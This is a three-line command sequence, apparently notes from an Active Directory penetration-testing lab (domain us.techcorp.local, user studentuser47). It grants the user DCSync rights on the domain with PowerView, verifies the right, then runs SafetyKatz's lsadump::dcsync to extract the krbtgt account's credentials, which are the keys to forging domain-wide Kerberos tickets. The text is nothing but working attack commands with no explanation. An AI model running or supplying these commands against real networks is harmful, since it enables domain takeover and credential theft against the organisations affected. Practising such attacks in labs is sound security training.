Add-DomainObjectAcl -TargetIdentity "dc=us,dc=techcorp,dc=local" -PrincipalIdentity studentuser47 -Rights DCSync -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose

Get-DomainDCSync | select name

SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"